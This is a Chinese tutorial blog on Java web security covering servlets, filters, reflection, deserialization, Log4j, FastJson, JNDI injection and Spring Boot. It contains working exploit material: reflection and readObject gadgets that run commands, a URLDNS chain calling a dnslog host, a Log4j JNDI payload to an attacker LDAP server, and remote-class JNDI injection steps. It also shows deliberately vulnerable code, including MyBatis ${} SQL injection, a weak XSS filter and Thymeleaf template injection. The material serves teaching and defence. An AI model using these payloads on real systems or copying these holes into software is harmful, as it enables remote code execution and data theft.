JAVA开发(从安全角度学习)

这篇具有很好参考价值的文章主要介绍了JAVA开发(从安全角度学习)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Servlet

import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/a")//配置路由
public class IndexServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("--------------doGet");
        String id =req.getParameter("id");
        //resp.setContentType("utf-8");
        resp.setContentType("text/html");
        PrintWriter out = resp.getWriter();
        out.println("这是GET请求的数据:");
        out.println("id:"+id+"<br>");
        out.flush();
        out.close();
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        String name = req.getParameter("name");
        //resp.setContentType("utf-8");
        resp.setContentType("text/html");
        PrintWriter out = resp.getWriter();
        out.println("这是post提交的数据");
        out.println(name);
        out.flush();
        out.close();
        System.out.println("--------------doPost");


    }
//项目启动时执行,执行一些初始化servlet的操作

    @Override
    public void init(ServletConfig config) throws ServletException {
        System.out.println("--------------init");
    }
//项目结束时候执行,执行一些操作
    @Override
    public void destroy() {
        System.out.println("--------------destroy");
        super.destroy();
    }
//先输出Servlet service,再输出http service
    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("--------------http service");
        super.service(req, resp);
    }

    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        System.out.println("--------------Servlet service");
        super.service(req, res);
    }
}

 web.xml(第二种配置路由的方式)

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">


    <servlet>
        <servlet-name>IndexServlet</servlet-name>
        <servlet-class>com.example.servletdemo.IndexServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>IndexServlet</servlet-name>
        <url-pattern>/index</url-pattern>
    </servlet-mapping>

</web-app>

JAVA开发(从安全角度学习),JAVA安全,java,安全,学习

JAVA开发(从安全角度学习),JAVA安全,java,安全,学习

 JDBC

使用预编译写法可以有效防止sql注入。

package com.example.servletdemo;

import java.sql.*;


public class NewsServlet{
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("com.mysql.jdbc.Driver");
        String url ="jdbc:mysql://localhost:3306/demo01";
        Connection connection = DriverManager.getConnection(url,"root","123456");
        System.out.println(connection);
        String sql="select * from news";
        //危险写法
        //String vulsql="select * from news where id="+id;
        //预编译写法
        String safesql="select * from news where id=?";
        System.out.println(sql);
        //危险函数
        Statement statement= connection.createStatement();
        //预编译写法
         Statement statement1=connection.prepareStatement(safesql);
        ResultSet resultSet = statement.executeQuery(sql);
        while (resultSet.next()){
            int id = resultSet.getInt("id");
            String page_title = resultSet.getString("page_title");
            String heading = resultSet.getString("heading");
            String subheading = resultSet.getString("subheading");
            String content = resultSet.getString("content");
            String img = resultSet.getString("img");
            System.out.println(id+"|"+page_title+"|"+heading+"|"+subheading+"|"+content+"|"+img);
        }
    }

}

过滤器(Filter)

Filter被称为过滤器,过滤器实际上就是对Web资源进行拦截,做一些处理后再交给下一个过滤器或Servlet处理,通常都是用来拦截request进行处理的,也可以对返回的 response进行拦截处理。开发人员利用filter技术,可以实现对所有Web资源的管理,例如实现权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。

xss过滤

一个简单servlet,功能就是用户输入参数code的值,然后页面显示该值;显而易见,我们不对用户输入的值做过滤的化很容易造成xss漏洞。所以我们可以使用过滤器对用户的输入值进行过滤。

核心就是触发url路由后先执行filter中的doFilter,如果放行的话才会执行servlet中doget放法。

package com.example.filterdemo1.servlet;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/test")
public class TestServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String code =req.getParameter("code");
        PrintWriter out = resp.getWriter();
        out.println(code);
        out.flush();
        out.close();
    }
}

 xssFilter

package com.example.filterdemo1.filter;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
//过滤器需要配置路由信息
@WebFilter("/test")
public class XssFilter implements Filter {
    @Override
    //中间件启动后就自动运行
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("xss开启过滤");
    }

    @Override
    //中间件关闭后就自动运行
    public void destroy() {
        System.out.println("xss销毁过滤");
    }

    @Override
    //doFilter 访问路由触发的方法
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("xss正在过滤");
        //过滤代码就应该在放行前
        //如果符合就放行,不符合就过滤(拦截)
        //XSS过滤 接受参数值 如果有攻击payload 就进行拦截
        // 接受参数值 如果没有攻击payload 就进行放行
        HttpServletRequest request= (HttpServletRequest) servletRequest;
        String code = request.getParameter("code");
        if(!code.contains("<script>")){ //没有攻击payload
            //放行
            filterChain.doFilter(servletRequest,servletResponse);
        }else{
            System.out.println("存在XSS攻击");
            //继续拦截
        }

    }
}

admin过滤

package com.example.filterdemo1.servlet;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/admin")
public class AdminServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("欢迎进入管理员页面");
    }
}
package com.example.filterdemo1.filter;


import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@WebFilter("/admin")
public class AdminFileter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("admin身份检测开启");
    }

    @Override
    public void destroy() {
        System.out.println("admin身份检测销毁");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

        System.out.println("admin身份检测进行");
        //检测Cookie过滤
        HttpServletRequest request= (HttpServletRequest) servletRequest;
        Cookie[] cookies=request.getCookies();
        //对Cookie进行遍历获取
        for(Cookie c:cookies){
            String cName = c.getName();//获取cookie名
            String cValue = c.getValue();//获取cookie值
            System.out.println(cName);
            System.out.println(cValue);
            if(cName.contains("user") && cValue.contains("admin")){
                filterChain.doFilter(servletRequest,servletResponse);
            }else {
                System.out.println("非管理员访问");
            }
        }

    }
}

监听器(Listener)

package com.example.listendemo1.Servlet;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.IOException;

@WebServlet("/cs")
public class CSession extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("Servlet里面创建Session");
        //创建Session
        req.getSession();
    }
}
package com.example.listendemo1.Servlet;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;


@WebServlet("/ds")
public class DSession extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("Servlet里面销毁Session");
        //销毁Session
        req.getSession().invalidate();
    }
}

监听器

package com.example.listendemo1.listener;

import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
//监听器是不需要路由的,当有session创建时他会自动监测到
@WebListener
public class SessionListener implements HttpSessionListener {

    @Override
    public void sessionCreated(HttpSessionEvent se) {
        //监听检测有Session创建就会执行这里
        System.out.println("监听器监听到了session创建");
    }

    @Override
    public void sessionDestroyed(HttpSessionEvent se) {
        //监听检测有Session销毁就会执行这里
        System.out.println("监听器监听到了session销毁");
    }
}

JAVA开发(从安全角度学习),JAVA安全,java,安全,学习

内存马会用到这些监听器和过滤器

 反射

一个简单的user类,包含一些成员变量、构造方法、成员方法

package com.example.reflectdemo1;

public class User {
    //成员变量
    public String name="xxxxx";
    public int age = 31;
    private String gender="man";
    protected String job="sec";

    //构造方法
    public User(){
        //System.out.println("无参数");
    }

    public User(String name){
        System.out.println("我的名字"+name);
    }

    private User(String name,int age){
        System.out.println(name);
        System.out.println(age);
    }

    protected User(String name,int age,String gender){
        System.out.println();
    }


    //成员方法
    public void userinfo(String name,int age,String gender,String job){
        this.job=job;
        this.age=age;
        this.name = name;
        this.gender=gender;
    }

    protected void users(String name,String gender){
        this.name = name;
        this.gender=gender;
        System.out.println("users成员方法:"+name);
        System.out.println("users成员方法:"+gender);
    }

    private void user1(){

    }
}

Class对象类获取

package com.example.reflectdemo1;

public class GetClass {
    public static void main(String[] args) throws ClassNotFoundException {
        //1、根据全限定类名:Class.forName("全路径类名")
        Class aClass = Class.forName("com.example.reflectdemo1.User");
        System.out.println(aClass);

        //2、根据类名:类名.class
        Class userClass = User.class;
        System.out.println(userClass);

        //3、根据对象:对象.getClass()
        User user= new User();
        Class aClass1 = user.getClass();
        System.out.println(aClass1);

        //4、通过类加载器获得Class对象://ClassLoader.getSystemClassLoader().loadClass("全路径类名");
        ClassLoader clsload=ClassLoader.getSystemClassLoader();
        Class aClass2 = clsload.loadClass("com.example.reflectdemo1.User");
        System.out.println(aClass2);


    }
}
//结果:class com.example.reflectdemo1.User

Method成员方法获取

package com.example.reflectdemo1;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class GetMethod {
    public static void main(String[] args) throws Exception {
        Class aClass = Class.forName("com.example.reflectdemo1.User");
       // //获取包括继承的公共成员方法 只有public
       // Method[] methods = aClass.getMethods();
       // for(Method me:methods){
       //     System.out.println(me);
       // }

        //获取不包括继承的所有成员方法 包括private
       Method[] methods = aClass.getDeclaredMethods();
       for(Method me:methods){
           System.out.println(me);
       }

        //获取单个的成员方法
//        Method users = aClass.getDeclaredMethod("users", String.class,String.class);
//        System.out.println(users);


        //invoke对成员方法进行执行 不包括privats的
//        User u = new User();
//        Method users = aClass.getDeclaredMethod("users", String.class,String.class);
//        users.invoke(u,"xiaodigay","gay1");

        //private的执行
        User u = new User();
       Method users = aClass.getDeclaredMethod("users", String.class,String.class);
        //私有需要开启临时
        users.setAccessible(true);
       users.invoke(u,"xiaodigay","gay1");


    }
}

Field成员变量获取

package com.example.reflectdemo1;

import java.lang.reflect.Field;

public class GetFiled {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Class aClass = Class.forName("com.example.reflectdemo1.User");

        //获取公共的成员变量
       // Field[] fields = aClass.getFields();
       // for(Field fd:fields){
       //     System.out.println(fd);
       // }

        //获取所有的成员变量
       // Field[] fields = aClass.getDeclaredFields();
       // for(Field fd:fields){
       //     System.out.println(fd);
       // }


       //获取单个的公共成员变量
       Field name = aClass.getField("name");
       System.out.println(name);
//
//        //获取单个的成员变量
//        Field gender = aClass.getDeclaredField("gender");
//        System.out.println(gender);

        //获取公共的成员变量age的值
        // User u = new User();
        // Field field=aClass.getField("age");
        //
        // //取值
        // Object a=field.get(u);
        // System.out.println(a);
        //
        // //赋值
        // field.set(u,32);
        // Object aa=field.get(u);
        // System.out.println(aa);
    }
}

Constructor构造方法获取

package com.example.reflectdemo1;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
//newInstance会执行构造方法
public class GetConstructor {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Class aClass = Class.forName("com.example.reflectdemo1.User");
        //获取公共的构造方法
//        Constructor[] constructors = aClass.getConstructors();
//        for (Constructor con:constructors){
//            System.out.println(con);
//        }

        //获取所有的构造方法
//        Constructor[] constructors = aClass.getDeclaredConstructors();
//        for (Constructor con:constructors){
//            System.out.println(con);
//        }

        //获取单个的公共的构造方法
//        Constructor constructor = aClass.getConstructor(String.class);
//        System.out.println(constructor);
//
//        //获取单个的构造方法
//        Constructor con1 = aClass.getDeclaredConstructor(String.class,int.class);
//        System.out.println(con1);


        //对构造方法进行操作(两个参数string,int)
//        Constructor con2=aClass.getDeclaredConstructor(String.class,int.class);
//        //临时开启对私有的访问
//        con2.setAccessible(true);
//        User uu=(User) con2.newInstance("xiaodigaygay",40);
        //System.out.println(uu);

        //对构造方法进行执行(1个参数strin)
//        Constructor con2=aClass.getConstructor(String.class);
//        con2.newInstance("xiaodigaygay");

    }
}

不安全命令执行

package com.example.reflectdemo1;

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class GetRunExec {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        //原生调用 JDK自带的rt.jar
        //Runtime.getRuntime().exec("calc");


        //如果是第三方的jar包呢
        Class aClass = Class.forName("java.lang.Runtime");
        //获取所有公共包括继承的成员方法
//        Method[] methods = aClass.getMethods();
//        for(Method me:methods){
//            System.out.println(me);
//        }
        //获取exec成员方法
        Method exec = aClass.getMethod("exec", String.class);
        //获取getRuntime成员方法
        Method getRuntimeMethod = aClass.getMethod("getRuntime");
        //执行
        System.out.println(aClass);
        Object runtime = getRuntimeMethod.invoke(aClass);//invoke正常的参数是对象类型,如果方法是静态,参数可以是类或者null
        exec.invoke(runtime, "calc.exe");
        
    }
}

序列化&反序列化

序列化:将内存中的对象压缩成字节流

反序列化:将字节流转换成内存中的对象

该模块的设计就是为了传输和存储数据;当两个进程进行通信的时候,可以通过序列化对象进行传输;想要保存对象数据时候也可通过序列化永久的保存到硬盘上。

序列化/反序列化协议:

  • java内置的writeObject()/readObject()
  • java内置的XMLDecoder()/XMLEncoder
  • XStream
  • SnakeYaml
  • FastJson
  • Jackson

反序列化安全问题:

  • 重写readObject方法
  • 输出new的对象调用toString方法

源码:

安全问题就在于toString()和readObject()方法的重写。

package com.example.seriatestdemo;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class UserDemo implements Serializable {

    public String name="xiaodi";
    public String gender="man";
    public Integer age=30;

    public UserDemo(){

    }
    public UserDemo(String name,String gender,Integer age){
        this.name=name;
        this.gender=gender;
        this.age = age;
        System.out.println(name);
        System.out.println(gender);
    }
    //当new一个对象(new UserDemo()),然后输出对象就会执行toString方法;该方法的返回值格式就是对象的输出结果格式
    public String toString() {

        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }

        return "User{" +
                "name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", age=" + age +
                '}';

    }
    //重写readObject方法,当反序列时候就会执行该重写的方法(反序列化调用的函数就是ObjectInputStream下的readObject方法)
   private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
       //指向正确readObject  如果没有的话就只会弹出计算器;无法正常还原出值
       ois.defaultReadObject();//相当于就是执行了原始的readObject()方法,可以反序列化出其值;如果不执行该语句那么返回的变量值都是null
       Runtime.getRuntime().exec("calc");
   }
   
}

 序列化:

package com.example.seriatestdemo;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializableDemo {
    public static void main(String[] args) throws IOException {
        //创建一个UserDemo对象
        UserDemo u = new UserDemo("xdsec","gay1",30);
        System.out.println(u);//此时就会调用toString方法
        //调用方法进行序列化
        SerializableTest(u);
        //ser.txt 就是对象u 序列化的字节流数据
    }

    public static void SerializableTest(Object obj) throws IOException {
        //FileOutputStream() 输出文件
        //将对象obj序列化后输出到文件ser.txt
        ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));
        oos.writeObject(obj);

    }

}

 反序列化:

package com.example.seriatestdemo;

import java.io.*;

public class UnserializableDemo {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //调用下面的方法 传输ser.txt 解析还原反序列化
        Object obj =UnserializableTest("ser.txt");

        //对obj对象进行输出 默认调用原始对象的toString方法
        System.out.println(obj);
    }


    public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
        //读取Filename文件进行反序列化还原
        ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
        Object o = ois.readObject();//调用readObject方法反序列化,会返回一个UserDemo对象 反序列化的安全问题就在于此,如果我们在UserDemo中重写了readObject方法,那么就会调用我们重写的方法
        return o;
    }
}

HashMap中有readObject()方法,所以我们如果对该类反序列化就会执行其中的resdObject方法。

package com.example.seriatestdemo;

import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class UrLDns implements Serializable {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //正常代码中 创建对象HashMap

        //用到原生态readObject方法去反序列化数据
        //readObject 在ObjectInputSteam 本来在这里
        //HashMap也有readObject方法

        //反序列化readObject方法调用 HashMap里面的readObject
        //执行链:
        //序列化对象hash 来源于自带类HashMap
//         *   Gadget Chain:
//                *   HashMap.readObject()
//                *       HashMap.putVal()
//                *         HashMap.hash()
//                *           URL.hashCode()
        //hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞

        HashMap<URL,Integer> hash = new HashMap<>();
        URL u=new URL("http://dmo1e2.dnslog.cn");
       hash.put(u,1);

        SerializableTest(hash);
        UnserializableTest("dns.txt");

    }


    public static void SerializableTest(Object obj) throws IOException {
        //FileOutputStream() 输出文件
        //将对象obj序列化后输出到文件ser.txt
        ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("dns.txt"));
        oos.writeObject(obj);

    }

    public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
        //读取Filename文件进行反序列化还原
        ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
        Object o = ois.readObject();
        return o;
    }


}

第三方组件

第三方组件都需要在jar仓库中下载或者使用maven引用。

Log4j

Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

package com.example.log4jwebdemo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;


@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {
    //构造HTTP Web服务 使用带漏洞Log4j版本 实现功能
    private static final Logger log= LogManager.getLogger(Log4jServlet.class);
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String code =req.getParameter("code");
        //code=${java:os} 输出执行结果
        //code={java:os} 正常输入
        //${jndi:ldap://192.168.1.3:1389/xkfp8e}
        //${jndi:ldap://xxxx.dns.log}
        log.error("{}",code);

        //1、开发源码中引用漏洞组件如log4j
        //2、开发中使用组件的代码(触发漏洞代码)
        //3、可控变量去传递Payload来实现攻击
    }
}

上述如果日志输出信息code是我们可控的,那么我们就可以使用jndi注入。(利用jndi注入工具生成payload)

payload:

${jndi:ldap://192.168.1.3:1389/xkfp8e}

 JAVA开发(从安全角度学习),JAVA安全,java,安全,学习

 FastJson

在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。

package com.xiaodi;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

//使用fastjson去处理User类数据
public class FastjsonTest {
    public static void main(String[] args) {
        //u Object对象
        //Integer age String name 字符串数据
        User u = new User();
        u.setAge(30);
        u.setName("xiaodi");
         System.out.println(u);

        //我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
        //我就选择第三方组件fastjson来去做这个功能
        //讲json对象转换json数据
        String jsonString = JSONObject.toJSONString(u);
        System.out.println("这就是json格式:"+jsonString);

       //分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个@type 转换对象类包
        String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);
        System.out.println(jsonString1);

        //上述对象 -> JSON


        //下面JSON -> 对象


        String test = "{\"@type\":\"com.xiaodi.User\",\"age\":30,\"name\":\"xiaodi\"}";
        //String test = "{\"@type\":\"com.xiaodi.Run\",\"age\":30,\"name\":\"xiaodi\"}";

        //实战中com.xiaodi.Run 我们不知道 固定调用
        //rmi ldap 去触发远程的class 执行代码(RCE)

        JSONObject jsonObject = JSON.parseObject(test);//会调用test中的@type后面类中的构造方法,相当于是创建了一个对象
        System.out.println(jsonObject);

    }


}

安全问题就在于parseObject实现对json数据解析成对象;此时我们就可以利用执行远程class文件。

JNDI注入

JNDI:全称为 Java Naming and DirectoryInterfaceJava命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

RMI:远程方法调用注册表

LDAP:轻量级目录访问协议

jndi注入就相当于远程执行了一个class文件。

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
        initialContext.lookup(uri);//获取指定的远程对象
    }
}

核心就是调用new InitialContext().lookup()方法,执行远程的class文件

在RMI服务中调用new InitialContext().lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()

com.sun.rowset.JdbcRowSetImpl.execute()

javax.management.remote.rmi.RMIConnector.connect()

org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了 new InitialContext().lookup()的类有:

InitialDirContext.lookup()

Spring LdapTemplate.lookup()

LdapTemplate.lookupContext()

 至于上面我们提到的RME和LDAP服务,我们利用工具直接生成链接(即lookup()的参数)。

工具1:JNDI-Injection-Exploit-1.0-SNAPSHOT-all

JAVA开发(从安全角度学习),JAVA安全,java,安全,学习

工具2: marshalsec-0.0.3-SNAPSHOT-all.jar

  1. 首先我们先自己编写一个java文件(Test.java),实现我们要执行的命令。
  2. 然后编译java文件(javac Test.java),就会生成一个Test.class
  3. 把Test.class文件放在访问路径
  4. 使用工具生成调用协议。(见下方图)

Test.java

import java.io.IOException;

public class Test {
    public Test() throws IOException {
        Runtime.getRuntime().exec("notepad");//弹出笔记本
    }
}

JAVA开发(从安全角度学习),JAVA安全,java,安全,学习

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "ldap://192.168.1.6:1389/Test";
        InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
        initialContext.lookup(uri);//获取指定的远程对象
    }
}

最后成功弹出记事本。

注意:

JAVA开发(从安全角度学习),JAVA安全,java,安全,学习

上面那些方法都是与jdk版本有直接关系的,jdk版本高了不一定会执行;相比之下第二种工具的适用范围更广。

//RMI marshalsec工具
//JDK 17版本 无法调用
//11版本无法调用
// 8u362 无法执行
// 8U112 可以

//RMI jndi-inject工具
//JDK 17版本 无法调用
//11版本无法调用
// 8u362 无法执行
// 8U112 可以


//LDAP - marshalsec工具
//JDK 17
// 11版本
// 8u362
// 8U112 都可以

//LDAP - jndi-inject工具
//JDK 17版本 无法调用
//11版本无法调用
// 8u362 无法执行
// 8U112 可以

 Springboot

参考:https://springdoc.cn/spring-boot/

package cn.xiaodisec.springboottest.controller;


import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;

@RestController//该注解相当于是@Controller +@ResponseBody合在一起
public class IndexController {

    //指定GET请求的访问路由
    @RequestMapping(value = "/xiaodiget",method = RequestMethod.GET)
    //@GetMapping(value = "/xiaodiget")
    public String getindex(){
        return "get test";
    }//return即返回值 是因为上面写的是@RestController;如果只是一个@Controller,则不可以

    //指定POST请求的访问路由
    @RequestMapping(value = "/xiaodipost",method = RequestMethod.POST)
    //@PostMapping(value = "/xiaodipost")
    public String getpost(){
        return "post test";
    }


    //指定GET请求的访问路由 带参数名name
    @RequestMapping(value = "/xiaodiget_g",method = RequestMethod.GET)
    //@GetMapping(value = "/xiaodiget")
    public String get_g(@RequestParam String name){
        return "get test"+name;
    }

    //指定POST请求的访问路由 带参数名name
    @RequestMapping(value = "/xiaodiget_g",method = RequestMethod.POST)
    //@GetMapping(value = "/xiaodiget_g")

    public String get_p(@RequestParam String name){
        return "post test"+name;
    }


}

springboot操作数据库(mybatis)

 思路:

  1. 首先我们创建项目的时候勾选mysql和mybatis,因为这样pom.xml会自动引入依赖,无须我们添加。
  2. 配置数据库连接信息(application.yml)
  3. 创建实体类(entity包下),通常就是数据库中的属性。(属性 get set方法)
  4. 创建mapper动态接口代理类实现(mapper包下)
  5. 创建controller实现web访问。

JAVA开发(从安全角度学习),JAVA安全,java,安全,学习

 application.yml:

spring:
  datasource:
    url: jdbc:mysql://localhost:3306/demo01
    username: root
    password: 123456
    driver-class-name: com.mysql.cj.jdbc.Driver

实体类(根据自己的数据库信息修改)

package com.example.springbootmybatils.entity;

public class User {
    private Integer id;
    private String username;
    private String password;

    public Integer getId() {
        return id;
    }

    public void setId(Integer id) {
        this.id = id;
    }

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    @Override
    public String toString() {
        return "User{" +
                "id=" + id +
                ", username='" + username + '\'' +
                ", password='" + password + '\'' +
                '}';
    }
}

动态接口类:

package com.example.springbootmybatils.mapper;


import com.example.springbootmybatils.entity.User;
import org.apache.ibatis.annotations.Insert;
import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Select;

import java.util.List;

@Mapper
public interface UserMapper {
    @Select("select * from admin where id like '%${id}%'")
    public List<User> findAll(Integer id);

    @Select("select * from admin where id=1")
    public List<User> findID();
}

controller包

package com.example.springbootmybatils.controller;

import com.example.springbootmybatils.entity.User;
import com.example.springbootmybatils.mapper.UserMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.util.List;

@RestController
public class GetadminController {

    @Autowired
    private UserMapper UserMapper;

    @GetMapping("/getadmin")
    public List<User> getadmindata(@RequestParam Integer id){
        List<User> all = UserMapper.findAll(id);
        return all;
    }

    @GetMapping("/getid")
    public List<User> getadminid(){
        List<User> all = UserMapper.findID();
        return all;
    }

}

Thymeleaf模板

我们创建springboot项目之后,可以选择thymeleaf模板

JAVA开发(从安全角度学习),JAVA安全,java,安全,学习

package cn.xiaodisec.thyremeafdemo.controller;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@Controller
public class ThyremeafController {
//    @RequestMapping(value = "/")
//    public String index(Model model) {
//        model.addAttribute("data","hello xiaodi");
//        //@RestController ResponseBody index当做字符串显示操作
//        //Controller 没有ResponseBody index当做资源文件去渲染
//        return "index";
//    }

    @RequestMapping(value = "/test")
    public String index() {
        //@RestController ResponseBody index当做字符串显示操作
        //Controller 没有ResponseBody index当做资源文件去渲染
        return "test";
    }

    @RequestMapping(value = "/")
    public String index(@RequestParam String lang) {
        //@RestController ResponseBody index当做字符串显示操作
        //Controller 没有ResponseBody index当做资源文件去渲染
        return lang; //lang=en index-en
    }


}

漏洞成因大概就是根据用户参数可选择不同的页面;如果参数是一段恶意代码,那么就会执行该代码。

Springboot监控系统——Actuator

SpringBoot Actuator模块提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP跟踪等,帮助我们监控和管理Spring Boot应用。

JAVA开发(从安全角度学习),JAVA安全,java,安全,学习

使用:

 actuator我们可以直接创建项目的时候选,也可以直接在pom.xml中添加依赖。然后就是配置信息,最后直接在url中访问/actuator等。(下面能否访问取决于我们的配置)

JAVA开发(从安全角度学习),JAVA安全,java,安全,学习

 安全问题

heapdump泄露:当配置不当我们可以访问heapdump时,此文件会自动下载;我们可以使用jdk自带的jvisualvm和提取器JDumpSpider两款工具进行敏感信息的提取。

主要就是获取更多的信息,比如通过监控我们可以发现更多的配置信息(组件、账号、密码等到),通过我们获取到的信息再去分析对应组件、对应功能可能存在的漏洞。

安全配置

management.endpoint.env.enabled=false

management.endpoint.heapdump.enabled=false

